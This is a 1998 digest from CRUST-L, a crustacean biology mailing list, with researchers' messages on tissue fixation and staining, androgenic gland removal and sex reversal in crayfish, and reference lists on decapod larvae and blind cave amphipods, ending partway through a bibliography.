do a preliminary survey of tissues (gill, GI, renal) before and after stresses by light microscopy and would like references and requirements for fixing tissue in preparation for light microscope work. 1) What is the procedure for fixing such tissue? 2) Is there a primary fixative that specimens can be stored in indefinately? 3) What stain is recommended for such work? Thanks in advance for all the help I know I will receive. Sincerely, Steve Stephen G. Dunbar Central Queensland University Department of Biology CQ Mail Centre, QLD 4702 Email: dunbars@topaz.cqu.edu.au Ph: 0749-309-647 Fax: 0749-309-209 Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Tom McRae Date: Tue, 31 Mar 1998 16:01:51 +1000 Subject: CRUST-L: Re: Hermaphroditism in parastacid crayfish Hello all, I spent a bit of time trying to induce sex reversal of normal _Cherax destructor_ by removal of the androgenic gland from males. Actually what I did was a vasectomy with concurrent remvoval of the fifth coxa and leg, including the male gonopores, on the assumption that the AG was closely associated with the vas deferens or the musclature in the coxae. The results indicated that no gonad inversion occurred and no regeneration of the genital papillae occurred, leading me to believe that the operation did include a successful andrectomy. I do have some remaining questions though about the role of the AG. It seems to be necessary to maintain the presence of the genital papillae but is not necessary to induce their formation in the first place. Thus the maleness of the animal is not dependent on the AG (the animals are sexually differentiated before the AG has developed) but the maintenance of the form of the exoskeleton is. The vas deferens did regenerate normally; only the external form was altered so that the operated males became "neutered". Tom. Tom McRae Ecology and Environment Deakin University, Warrnambool Campus P O Box 423, Warrnambool, Vic. 3280 Australia. Ph: + 61 (0)3 55 633 461 Fax: + 61 (0)3 55 633 462 E-mail: mcraet@deakin.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Tue, 31 Mar 1998 02:06:50 -1000 Subject: Re: CRUST-L: Re: Hermaphroditism in parastacid crayfish On Mon, 30 Mar 1998, Tom McRae wrote: > I spent a bit of time trying to induce sex reversal of normal _Cherax > destructor_ by removal of the androgenic gland from males. Actually what I > did was a vasectomy with concurrent remvoval of the fifth coxa and leg, > including the male gonopores, on the assumption that the AG was closely > associated with the vas deferens or the musclature in the coxae. The > results indicated that no gonad inversion occurred and no regeneration of > the genital papillae occurred, leading me to believe that the operation did > include a successful andrectomy. Interesting experiment! >From the anatomical illustrations I have, I'm not convinced that you got entire AG in your surgery. The AG is internal, just before the terminal ampullae. From your description, I wouldn't be confident you got it. In an organism as large as a crayfish, it (the AG) should be easy to observe in plain dissections. Is (was) it possible to dissect male gonoducts and look for the AG first? You could even embed the terminal portion and look histologically. It just seems that you should be able to see the structure in large crusties. However, I don't work with crayfish, so... BTW, what is the "genital papillae"? I've seen this term used frequently in fish, but have yet to see it used for crustaceans. Do you mean the terminal ampullae of the sperm duct? > I do have some remaining questions though about the role of the AG. It > seems to be necessary to maintain the presence of the genital papillae but > is not necessary to induce their formation in the first place. Thus the > maleness of the animal is not dependent on the AG (the animals are sexually > differentiated before the AG has developed) but the maintenance of the form > of the exoskeleton is. The vas deferens did regenerate normally; only the > external form was altered so that the operated males became "neutered". Don't confuse development and maintenance. :-) I believe that most crustaceans have a puberty molt where external sex charact appear. This is apparently AFTER the differentiation of the gonad. If there is no AG during *development*, Charniaux Cotton claimed that there would be *no* masculinization of the gonad. Some factor that the AG produces is responsible for this. The AG may not be responsible for the maintenance of all portions of the gonad, but it is apparently necessary for development of maleness. The explanation for protandrous species is that the AG is not active/formed until some of the germ cells of the gonad begin to differentiate towards a female pathway. Those female cells are arrested in development and won't do much more until the AG shuts down. Masculinization appears to be a complex process and may vary with the species. Certainly, more that the AG could be involved. It's possible that your species is more fixed in the male pathway. Perhaps the AG develops much faster in gonochoristic species, narrowing that window in time for feminization of any part of the gonad. I may have mislead you (or others) in my general description. I was paraphrasing from the stack of papers in my file by CC and others. I'm not sure that the male gonopore necessarily dissapears in protandrous species. However, there is frequently a change in the pleopod structure. (Appendix masculina disappears, pleopods get broader, more ovigerous hairs...) The presence of AG early in development is certainly key in maturation as a male individual. However, there is evidence of the AG's masculinization of the "brain" (eyestalk or y organ?) from CC and others' work. One paper on Lysmata seticaudata suggested that spermatogenesis in female-phase individuals did continue, but that those animals were not able to mate as males. This suggests that the reversal is not complete. Grafted AG's in female-phase shrimp usually resulted in the cessation oogenesis, and masculinization. The large body of work on "castrator parasites" (blatant plug for Jeff Shields!) of crustaceans suggests that the degree of feminisation of depends on the age of the host. The younger the host, the more dramatic effects by the castrator. This suggests decreased plasticity with age in those species. My overall impression is that some species are more "plastic" than others in the potential to change from male to female sex. For some, the removal/ablation/inhibition of the androgenic gland itself may be enough to cause sex reversal of males. For others, it may have an effect on secondary sex characteristics (appendix masculina), but not on gonad. Clearly there needs to be lots more work on this, and hermaphroditic species are ideal starting points. Crustacean reproductive endocrinology is an area that needs much further study, as well. For example, there is still controversy (last I checked) over what the AG hormone actually is. I think it was Hasegawa who recently (95?) published a paper on the isolation of AG hormone, and suggested that a species-specific assay for it was possible. However, when I wrote her for more details, she explained that they had made a mistake. The compound they had isolated was not AG hormone. Back to square one. It would be nice if the picture was as clear as I had painted it orginally. I apologize if I mislead anyone. - -Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: wdaniels@dsc.edu Date: Tue, 31 Mar 98 07:36:29 -0500 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) - --- On Mon, 30 Mar 1998 13:26:08 -1000 Curt Fiedler wrote: Unfortunately, *most* examples of hermaphroditism in crayfish literature are rare and anomolous instances. The word "aberrant" was used in many of those paper titles.... Physiologically, it is reasonable to see a change in crustacean sex from male to female. Charniaux-Cotton (CC) established that removal of androgenic glands (AG) from males usually results in feminization to some extent. ... Just my humble ramblings, - -Curt ... - ---------------End of Original Message----------------- Curt, Although these are your humble ramblings, they are accurate. The aberrations reported in crayfish and other decapods are sometimes the results of physiological damage to the androgenic glands in males. These can be due to parasitic damage or other causes. The norm for these is to be male if the androgenic gland primordia is present and female if not. Bill - -------------------------------------------------------- Bill Daniels Research Assistant Professor/ Extension Specialist, Aquaculture 1200 N. Dupont Hwy. Dept. of Agriculture & Natural Resources Delaware State University Dover, DE 19901-2277 E-mail: wdaniels@dsc.edu Date: 03/31/98 Time: 07:36:30 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #130 ***************************** From owner-crust-l Wed Apr 1 05:56:57 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id FAA16596 for crust-l-digest-outgoing; Wed, 1 Apr 1998 05:37:34 -0500 Date: Wed, 1 Apr 1998 05:37:34 -0500 Message-Id: <199804011037.FAA16596@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #131 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 5 crust-l-digest Wednesday, 1 April 1998 Volume 01 : Number 131 Re: CRUST-L: Hello! RE: CRUST-L: Blind Amphipods Re: CRUST-L: Hello! Re: CRUST-L: Light Microscopy. CRUST-L: Blind amphipod papers CRUST-L: Hermaphroditism in Parastacus CRUST-L: Ucides cordatus researchers CRUST-L: Hello there! ---------------------------------------------------------------------- From: edupre@SOCOMPA.CECUN.UCN.CL (Mag. Enrique Dupre M.) Date: Tue, 31 Mar 1998 06:16:59 -0400 Subject: Re: CRUST-L: Hello! Dear Leticia: I work with shrimp and lobster larvae. I am preparing a paper to publishe. I have little information about temperature embrionic development rates, but I have no information about temperature larval development rates. Would you please send me the information that you will receive from the crustacea- list? I will appreciate it so much. Here there are some paper that could be usefull: 1. Brandford, J.R. (1978). Incubation period for the lobster Homarus gammarus at various temperatures. Mar. Biol., 47: 363-368. 2. Perkins, H. 1972. Development rates at various temperatures of embryos of the northern lobster (Homarus americanus). Fishery Bulletin US., 70: 95-99. 3. Wear, R.C. (1974). Incubation in british decapod crustacea and the effect of temperature on the rates and success of embryonic development. Journal of Marine Biology Association of the United King dom, 54: 745-762. 4. Dupre, E., Bellolio, G. y Lohrmann, K. (1992). Desarrollo embrionario del camaron de roca (Rhynchocinetes typus, H. Milne Edwards 1837) en condiciones de laboratorio. Revista Chilena de Historia Natural, 65:435-442. Thanks in advances Enrique Dupre Coquimbo, Chile - ---------------------------------------------------------------------------- - ----------- >Hi Crustlers! > >I'm looking for temperature development rates in decapod larvae, >particularly brachyuran. If you know any papers in relation to this I'd >really appreciate it. > >Thank you! > >leticia Merin - ---------------------------------------------------------------------------- - ------------ M.Sc. Enrique Dupre Lab. Biol. de la Reprod. Fac. Ciencias del Mar Universidad Catolica del Norte, Coquimbo, Chile Fax: 5651-311287 E-Mail: edupre@socompa.cecun.ucn.cl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Gannon, Andrew T." Date: Tue, 31 Mar 98 09:47:00 PST Subject: RE: CRUST-L: Blind Amphipods Murat, I am glad to see the sudden spurt of interest in cave crustaceans on the list. I am putting the finishing touches on a paper on blind cave crayfish oxygen consumption. There was a recent paper on physiology of blind cave amphipods published in Physiological Zoology by Hervant and Mathieu et al.. F. Hervant, J. Mathieu, D. Garin and A. Freminet. 1995. Behavioral, Ventilatory, and Metabolic Responses to Severe Hypoxia and Subsequent Recovery of the Hypogean Niphargus rhenorhodanensis and the Epigean Gammarus fossarum (Crustacean:Amphipoda). Physiological Zoology 68(2)223-244. There was a second manuscript that was related to this one, but I don't know if it has been published. You can contact Frederic Hervant at: Service de Physiologie du Metabolisme Intermediaire et Energetique, Universite Claude Bernard-Lyon I, F-69622 Villeurbanne Cedex, France. another paper they put out is: F. Hervant and J. Mathieu. 1995. Ventilatory and locomotory act in anoxia and subsequent recovery of epigean and hypogean crustaceans. Comptes Rendus de L Academie Des Sciences Serie III - Sciences de La Vie - Life Sciences 318:585-592. But I have not gotten a copy of the latter manuscript yet. Good luck, Andy Andrew T. Gannon Assistant Professor INTERNET: agannon@bsc.edu Department of Biology VOICEMAIL: (205) 226-4899 Birmingham Southern College FAX: (205) 226-4627 BOX 549022 Birmingham AL 35254 http://panther.bsc.edu/~agannon/ ---------- From: owner-crust-l To: crust-l Subject: CRUST-L: Blind Amphipods Date: Monday, March 30, 1998 10:37AM Dear Crust'lers, Could anybody gime me the names of papers related with Blind Amphipods living in European inland waters(in caves and the others). Thanks for your helps! Greetings from Turkiye :-) Murat OZBEK Research Assistant Ege University Fishery Faculty Hydrobiology Section 35100- Bornova- IZMIR- TURKIYE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Tue, 31 Mar 1998 14:26:49 +0000 Subject: Re: CRUST-L: Hello! Leticia, I suggest you do a name search for papers by Klaus Anger and Ralph Dawirs who have worked extensively on the effects of many parameters on decapod larval development. Or best, write to Klaus in Helgoland. Regards, John McNamara ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Tue, 31 Mar 1998 14:41:19 +0000 Subject: Re: CRUST-L: Light Microscopy. Steve, In my experience, salinity and temperature-induced changes are not very evident in material prepared using conventional histological fixatives like Bouin's fluid, or buffered formalin etc. Results are best if you use a typical EM fixative (glutaraldehyde/para-formaldelyde in sodium cacodylate buffer for example) and proceed as for electron microscopy (fix on ice, correct pH and so on) but examine your material in thick resin sections (0.5 micrometer). People that work with Antarctic material often leave the tissues for up to a month in EM-like fixatives although some extraction is sure to occur (but less than with a typical 'histological' fixative). If you use resin-embedded sections you could try a mixture of methylene and toluidine blue in borax (all 1%). Typical stains for paraffin-embedded material include hematoxylin-eosin and Mallory's trichrome for example. You should check out some basic books on histological and electron microscopy techniques. Hope this helps, regards, John McNamara. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Stefan Koenemann Date: Tue, 31 Mar 1998 18:58:22 -0500 Subject: CRUST-L: Blind amphipod papers This is a multi-part message in MIME format. - --------------7977949A0A31495F7D90994A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Murat, I send you a list of papers, mostly on (Mediterranean) bogidiellids. The list is an attached file: bog_lit.txt, saved as MSDOS text. Stefan - -- Stefan Koenemann Dept. of Biological Sciences Old Dominion University Norfolk, VA 23529 USA Tel: (757) 683-3606 E-mail: biolgrad@odu.edu http://www.biology.odu.edu/bio/fachomes/jrh100f/personne.htm - --------------7977949A0A31495F7D90994A Content-Type: text/plain; charset=iso-8859-1; name="Bog_lit.txt" Content-Disposition: inline; filename="Bog_lit.txt" Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by tahiti.cc.odu.edu id SAA17108 Barnard, J. L. & Barnard C. M. (1983).--Freshwater Amphipoda of the World= . I. Evolutionary Patterns. Hayfield Associates, Mt. Vernon (Virginia). Botosaneanu, L. & Notenboom, J. (1988). Un amphipode stygobie de la Tha=8B= lande (Crustacea: Amphipoda).--Annales de Limnologie 24: 51-59. Bou, C. & Ruffo, S. (1979). Contributo alla conoscenza delle Bogidiella d= i Grecia (Crustacea Amphipoda Gammaridae).--Natura. Societ=85 Italiana di= Scienze Naturali, Museo Civico di Storia Naturale di Milano 70: 295-309. Coineau, N. & Chandrasekhara Rao, G. (1972). Isopodes et Amphipodes des s= ables intertidaux des Iles Andaman et Nicobar (Golfe du Bengale).--Vie et= Milieu (Ser. A) 23: 65-100. Coineau, N. & Stock, J. H. (1986). Amphipoda: Bogidiellidae, p. 574-580. = In: Botosaneanu, L. (ed.).-- Stygofauna Mundi. E. J. Brill, Leiden. Coineau, N. (1969). Contribution =85 l'=82tude de la faune interstitielle= - Isopodes et Amphipodes.--M=82moires du Mus=82um National d'Histoire Na= turelle (S=82rie A) 55: 145-216.=20 Coineau, N. (1984). Quelques aspects de l'adaptation des Crustac=82s Isop= odes, Amphipodes et Syncarides a la vie dans le milieu interstitiel.--Mem= oires de Biosp=82ologie 11: 7-15. Dancau, D. & Serban, E. (1965). La pr=82sence de Bogidiella albertimagni = Hertzog 1933 en Roumanie et qeulques remarques sur les esp=82ces europ=82= ennes du genre.--International Journal of Speleology 1: 339-348. Dancau, D. (1973). Observations sur les Amphipodes souterrains de l'=8Cle= de Majorque. Genre Bogidiella Hertzog.--Travaux de l'Institut de Sp=82ol= ogie 'Emile Racovitza', Bucharest 12: 113-119. Dimentman, Ch. & Por, F. D. (1991). The origin of the subterranean fauna = of the Jordan-Dead Sea Rift Valley: new data.--Stygologia 6: 155-164. Diviacco, G. & Ruffo, S (1985). Nuovi bogidiellidi delle acque sotterrane= e Africane (Crustacea Amphipoda).--Italian Journal of Zoology 7 (Suppl. X= X): 135-148. Farris, J. S. (1988). HENNIG86, ver. 1.5. Microcomputer program available= from author: 41 Admiral St. Port Jefferson Station, New York 11776. Grosso, L. E. & Claps, G. L. (1984). Tercer Bogidiellidae (Crustacea Amph= ipoda) de la cuenca del Rio Grande (Jujuy, Argentina).--Neotropica 30: 22= 3-231. Grosso, L. E. & Claps, G. L. (1985). Distribuci=A2n geogr=A0fica de la fa= milia Bogidiellidae (Crustacea, Amphipoda) en la Rep=A3blica Argentina, c= on la descripci=A2n de un nuevo subg=82nero y una nueva especie.--Physis = (Buenos Aires), Secc. B, 43: 49-55. Grosso, L. E. & Fernandez, H. R. (1985). Una nueva Bogidiella (Amphipoda = Bogidiellidae) hiporreica de la provincia de Tucum=A0n (Argentina).--Neot= ropica 31: 201-209. Grosso, L. E. & Fern=A0ndez, H. R. (1988). Un caso de simpatria de tres e= species del g=82nero Bogidiella (Crustacea, Amphipoda) en el noroeste Arg= entino, con la description de dos nuevoas especies.--Stygologia 4: 64-78. Grosso, L. E. & Ringuelet, R. A. (1979). Fauna subterr=A0nea de las aguas= dulces de la Rep=A3blica Argentina. I. Dos nuevas especies de Amphipodos= del g=82nero Bogidiella.--Limnobios 1: 381-394. Herbst, G. N. & Dimentman, Ch. (1983). Distributional patterns and habita= t characteristics of Amphipoda (Crustacea) in the inland waters of Israel= and Sinai.--Hydrobiologia 98: 17-24. Hertzog, L. 1933. Bogidiella albertimagni sp. nov., ein neuer Grundwasser= amphipode aus der Rheinebene bei Strassburg.--Zoologischer Anzeiger 102 (= 9/10): 225-227. Hertzog, L. (1936). Crustac=82s de biotopes hypog=82s de la vall=82e du R= hin d'Alsace, II. Bull. Soc. zool. France, 61: 356-372. Holsinger, J. R. (1986). Zoogeographic patterns of North American subterr= anean amphipod crustaceans. In: R. H. Gore & K. L. Heck (eds).--Crustacea= n Biogeography in Crustacean Issues: 85-106. Balkema, Rotterdam. Holsinger, J. R. (1993). Biodiversity of subterranean amphipod crustacean= s: global patterns and zoogeographic implications.--Journal of Natural Hi= story 27: 821-835. Hovenkamp, F., Hovenkamp, W. & van der Heide, J. J. (1983). Two new hypor= heic amphipods, Bogidiella (Bogidiella) cyrnensis n. sp. and Bogidiella (= Medigidiella?) paolii n. sp., from Corsica.--Bijdragen tot de Dierkunde, = 53: 82-92. Hovenkamp, F., Hovenkamp, W. & van der Heide, J. J. (1984). Morphological= differentiation of the genus Niphargus (Amphipoda) on Corsica - a numeri= cal approach.--Bijdragen tot de Dierkunde, 54: 147-155. Husmann, S. (1956). Untersuchungen =81ber die Grundwasserfauna zwischen H= arz und Weser.--Archiv f=81r Hydrobiologie 52: 1-184. Karaman, G. S. & Barnard, J. L. (1979). Classificatory revisions in gamma= ridean Amphipoda (Crustacea), part 1.--Proceedings of the Biological Soci= ety of Washington 92: 106-165. Karaman, G. S. & Pesce, G. L. (1980). Researches in Africa by the zoologi= cal Institute of L' Aquila, Italy. V. On three subterranean amphipods fro= m North Africa.--Bulletin Zoologisch Museum (Universiteit van Amsterdam) = 7: 197-207. Karaman, G. S. & Sket, B. (1990). Bogidiella sinica sp. n. (Crustacea: Am= phipoda) from southern China.--Bioloski V=88stnik, Lubljana 38: 35-48. Karaman, G. S. (1973). 54. Contribution to the knowledge of Amphipoda. On= the genus Bogidiella Hert. (fam. Gammaridae) in Yugoslavia.--Poljoprivre= da I Sumarstvo Titograd, 19: 21-53. Karaman, G. S. (1979a). Contribution to the knowledge of Amphipoda 92. Bo= gidiella chappuisi Ruffo 1952 and its variability with remarks to some ot= her species (fam. Gammaridae).--Poljoprivreda I Sumarstvo Titograd, 25: 1= 7-30. Karaman, G. S. (1979b). Contribution to the knowledge of Amphipoda 106. T= wo new Bogidiella species (fam. Gammaridae) from Italy.--Glasnik Republic= kog zavoda za zastitu prirode, I Prirodnjackog muzeja u Titogradu 12: 101= - -105. Karaman, G. S. (1981). Revision of Bogidiella-group of genera with descri= ption of some new taxa (fam. Gammaridae). Contribution to the knowledge o= f Amphipoda 121.--Poljoprivreda I Sumarstvo Titograd, 27: 23-44.=20 Karaman, G. S. (1982). Critical remarks to the recent revisions of bogidi= ella-group of genera with study of some taxa (fam. Gammaridae). Contribut= ion to the knowledge of Amphipoda 126.--Poljoprivreda I Sumarstvo Titogra= d, 28: 31-57. Karaman, G. S. (1987). New species of the family Bogidiellidae (Gammaride= a) from Yugoslavia, Bogidiella serbica, n. sp.--Glasnik Prirodnjckog muze= ja u Beogradu (ser. B) 42: 37-50. Karaman, G. S. (1988a). New genera and species of the subterranean family= Bogidiellidae from the Near East. Contribution to the knowledge of Amphi= poda 179.--Studia Marina, Kotor, 19: 31-51. Karaman, G. S. (1988b). Two new species of genus Bogidiella Hert. from Sa= rdinia and France, with remarks to B. vandeli Coineau 1968 (Gammaridea, f= am. Bogidielli dae). Contribution to the knowledge of Amphipoda 180.--Poljoprivreda I Su= marstvo Titograd, 34: 25-41. Karaman, G. S. (1988c). The new genus of the family Bogidiellidae (Gammar= idea) from coastal seawater (mesopsammon) of Italy, Aurobogidilla, n. gen= . Contribution to the knowledge of Amphipoda 182.--Poljoprivreda I Sumars= tvo Titograd, 34: 93-105. Karaman, G. S. (1988d). Bogidiella chappuisi pescei, new subspecies from = the subterranean freshwater of Sardinia, with remarks to some other taxa = (Gammaridea, fam. Bogidiellidae). Contribution to the knowledge of Amphip= oda 184.--Glasnik Republickog zavoda za zastitu prirode, I Prirodnjackog = muzeja u Titogradu 21: 27-44. Karaman, G. S. (1988e). Additional characters of the species Bogidiella (= Bogidiella) copia G. Karaman 1988 (Gammaridea, fam. Bogidiellidae). Contr= ibution to the knowledge of Amphipoda 185.--Glasnik Republickog zavoda za= zastitu prirode, I Prirodnjackog muzeja u Titogradu 21: 45-53. Karaman, G. S. (1989a). Bogidiella sketi, new freshwater species of the f= amily Bogidiellidae from Dalmatina (Yugoslavia) with remarks to some othe= r Bogidiella species. Contribution to the knowledge of Amphipoda 188.--Po= ljoprivreda I Sumarstvo Titograd, 35: 49-60. Karaman, G. S. (1989b). Bogidiella cypria, new species of the family Bogi= diellidae from Cyprus Island in the Mediterranean Sea. Contribution to th= e knowledge of Amphipoda 190.--The Montenegrin Academy of Sciences and Ar= ts, Glasnik of the Section of Natural Sciences 7: 7-23. Karaman, G. S. (1990a). One new species of the family Bogidiellidae from = Creta Island, Greece, Bogidiella (Medigidiella) aquatica n. sp. Contribu= tion to the knowledge of Amphipoda 192.--Glasnik Prirodnjckog muzeja u Be= ogradu (ser. B) 43: 27-39. Karaman, G. S. (1990b). Bogidiella stocki, a new species from the Sinai P= eninsula (Amphipoda, Bogidiellidae). Contribution to the knowledge of Amp= hipoda 193.--Beaufortia, 41: 141-149. Karaman, G. S. (1990c). Bogidiella barbaria, new species from the Iberian= Peninsula (fam. Bogidiellidae).Contribution to the knowledge of Amphipod= a 203.--Glasnik Republickog zavoda za zastitu prirode, I Prirodnjackog mu= zeja u Titogradu 23: 7-23. Karaman, G. S. (1994). Taxonomical problems of Bogidiella (Medigidiella) = dalmatina S. Kar. 1953 (fam. Bogidiellidae) and allied taxa. Contribution= to the knowledge of Amphipoda 202.--The Montenegrin Academy of Sciences = and Arts, Glasnik of the Section of Natural Sciences 10: 173-187. Karaman, S. L. (1955). =9Aber einige Amphipoden des Grundwassers der jugo= slawischen Meeresk=81ste.--Acta Musei Macedonici Scientarium Naturalium, = Skopje 2: 223-242. Lindeman, D. (1991). Phylogeny and zoogeography of the New World terrestr= ial amphipods (landhoppers) (Crustacea: Amphipoda; Talitridae).--Canadian= Journal of Zoology 69: 1104-1116. Maddison, W. P. & Maddison, D. R. (1993). MacClade, analysis of phylogeny= and character evolution, ver. 3.03 (Software included). Sunderland, Mass= achusetts. Sinauer Associates Inc.=20 Mateus, A. & Maciel, M. de Lourdes (1967). Description d'une esp=82ce de = Bogidiella (Crustacea, Amphipoda) du psammon du Portugal et quelques note= s sur son genre.--Publica=87oes do Instituto de Zoologia 'Dr. Augusto Nob= re', Faculdade de Ci=88ncias do Porto 100: 11-47. Mateus, A. & Mateus, E. (1978). Amphipoda hypog=82s du Portugal.--Publica= =87oes do Instituto de Zoologia 'Dr. Augusto Nobre', Faculdade de Ci=88nc= ias do Porto 142: 11-26. Matsumoto, K. (1976). An introduction to the Japanese groundwater animals= with reference to their ecology and hygienic significance.--Internationa= l Journal of Speleology 8: 141-155. Mestrov, M. (1961). =9Aber neue Bogidiella-Arten (Crustacea, Amphipoda) a= us unterirdischen Gew=84ssern Kroatiens und Sloweniens.--Zoologischer Anz= eiger 167: 74-80. Notenboom, J. (1990). Introduction to Iberian groundwater amphipods.--Lim= netica 6: 165-176. Notenboom, J. (1991). Marine regression and the evolution of groundwater = dwelling amphipods (Crustacea).--Journal of Biogeography 18: 437-454. Notenboom, J. (1991). Marine regressions and the evolution of groundwater= dwelling amphipods (Crustacea).--Journal of Biogeography, 18: 437-454. Page, R. D. M. (1993). COMPONENT: Tree comparison software for Microsoftr= Windows, ver. 2.00a. The Natural History Museum, London. Pesce, G. L. & Maggi, D. (1983). Ricerche faunistiche in acque sotterrane= e freatiche della Grecia meridionale ed insulare e stato attuale delle co= noscenze sulla stigofauna di Grecia. ).--Natura. Societ=85 Italiana di Sc= ienze Naturali, Museo Civico di Storia Naturale di Milano 74: 15-73. Pesce, G. L. (1980). Bogidiella aprutina n. sp., a new subterranean amphi= pod from phreatic waters of central Italy.--Crustaceana, 38: 139-144. Pesce, G. L. (1981). A new phreatic Bogidiella from subterranean waters o= f Sardinia (Crustacea Amphipoda, Gammaridae).--Revue Suisse de Zoologie, = Gen=8Ave 88: 157-162. Platvoet, D. (1983). Bogidiella (B.) neotropica Ruffo, 1952 (Crustacea, A= mphipoda) rediscovered in Venezuela.--Bijdragen tot de Dierkunde 53: 109-= 114. Pretus, J. Ll. & Stock, J. H. (1990). A new hyporheic Bogidiella (Crustac= ea, Amphipoda) from Mallorca.--Endins, 16: 47-51. Ruffo, S. & Schiecke, U. (1976). Una nouva Bogidiella di Creta (Amphipoda= , Gammaridae).--Bolletino Museo Civico di 